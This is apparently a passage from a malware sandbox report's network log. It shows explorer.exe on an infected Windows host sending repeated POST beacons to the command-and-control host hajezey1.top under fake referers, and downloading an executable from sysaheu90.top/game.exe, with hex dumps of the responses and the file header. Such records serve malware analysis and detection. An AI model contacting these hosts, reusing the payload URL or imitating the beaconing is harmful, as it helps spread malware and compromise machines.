41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

32 192.168.2.6 49833 185.98.87.159 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:32.149271011 CEST

7103 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://tysqt.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 305
Host: hajezey1.top

Oct 29, 2021 
17:55:32.232378960 CEST

7104 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:32 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

33 192.168.2.6 49834 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:32.328716040 CEST

7105 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://dhskdgpx.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 221
Host: hajezey1.top

Oct 29, 2021 
17:55:32.408582926 CEST

7107 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:32 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 
8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 
e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 
05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 
5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 
08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 
e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 
0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 
8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 
3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 
2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 
cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 
25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 
cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 
85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e 
b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 
0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 
da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 
81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 
87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 
bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 
46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 6
9 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c 
d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 
35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 81 f5 97 d4 78 2b 2c 62 98 ed 24 c6 ff c5 
d4 d9 49 0a 8a 10 c4 44 b9 97 c4 fa be a8 48 96 9e 9b 55 1a f6 de e8 d0 9b 92 17 7d 69 05 79 4a 09 9f 3c bf 00 62 4b 65 
fb 80 ab 5b 87 80 39 cd bb 78 96 64 a4 a4 a2 41 45 e8 03 ff 0e 4d e2 d0 97 23 3b 5e 04 e8 5a 9a 14 7a 59 92 17 7e d6 70 
82 ba 4b 96 7e bb ee 1f 38 33 d5 53 6f 27 88 32 e7 ce 85 b9 9b 3b 22 2f d9 3d ff 24 3c 78 92 93 78 f9 7e 21 86 a5 ec 34 
Data Ascii: 1f66S(SW\/iP"&&grq|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RYyM]O_[3_JTO))gxr?|^c[FXB$H)t|;fKMXKw[Ge)29E"|a
y6N}o7=Up,Kk"HI?m|6NI^LdU[0z_$U5=PoV`GZdQJVTq5dIvy'$X9:-C'GrPmR`#>[qJ8-,sqK0Z"?+Qz`KJMQAd'
\#&Q#2YBA@=C/fGB%4VF>"7"~K6*!?eti6'NGc:HNDZOJW%bJ}Tzl9\@d=V:"}bP1&@N!;KnGAcWJ`_ng";kz{},zH
B(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A
59x+,b$IDHU}iyJ<bKe[9xdAEM#;^ZzY~pK~83So'2;"/=$<xx~!4
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Session ID Source IP Source Port Destination IP Destination Port Process

34 192.168.2.6 49838 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:36.974432945 CEST

9025 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://oihlnqbyqp.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 298
Host: hajezey1.top

Oct 29, 2021 
17:55:37.057107925 CEST

9026 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:37 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

35 192.168.2.6 49839 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:37.146631956 CEST

9027 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://xbtscsiiqr.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 361
Host: hajezey1.top

Oct 29, 2021 
17:55:37.227509975 CEST

9028 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:37 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 
d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 29I:82OUcScS0

Session ID Source IP Source Port Destination IP Destination Port Process

36 192.168.2.6 49840 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:37.336242914 CEST

9029 OUT GET /game.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: sysaheu90.top
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Oct 29, 2021 
17:55:37.472958088 CEST

9030 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:55:37 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38
Last-Modified: Fri, 29 Oct 2021 15:55:02 GMT
ETag: "93200-5cf7fd9a22b51"
Accept-Ranges: bytes
Content-Length: 602624
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c 
cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 
2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 
bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90
1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 05 00 6a f3 b3 5e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 b0 07 00 00 c4 70 02 00 00 00 
00 90 af 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 
00 00 00 b0 78 02 00 04 00 00 05 90 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 
00 00 00 00 00 00 00 00 00 00 00 04 b4 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 80 77 02 84 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 18 a4 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 af 07 00 00 10 00 00 00 b0 07 00 00 04 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 c0 07 00 00 16 00 00 00 b4 07 00 00 
00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 66 00 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 ca 07 00 
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 ce 07 
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 80 77 02 00 24 01 00 00 0e 
08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$4pepepe\eReeywepdeqeqeqeRichpePELj^p@xP@w?
w0@.text@ `.dataio@.vif0w@.rsrc?@w@@@.reloc#w$@B

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

37 192.168.2.6 49844 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:44.131059885 CEST

9662 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fchldji.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 132
Host: hajezey1.top

Oct 29, 2021 
17:55:44.212387085 CEST

9663 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

38 192.168.2.6 49845 185.98.87.159 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:44.305664062 CEST

9663 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://narjywxfra.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 296
Host: hajezey1.top

Oct 29, 2021 
17:55:44.385288954 CEST

9664 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

39 192.168.2.6 49846 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:44.541790962 CEST

9665 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://pkxhixnn.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 269
Host: hajezey1.top

Oct 29, 2021 
17:55:44.623198032 CEST

9666 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
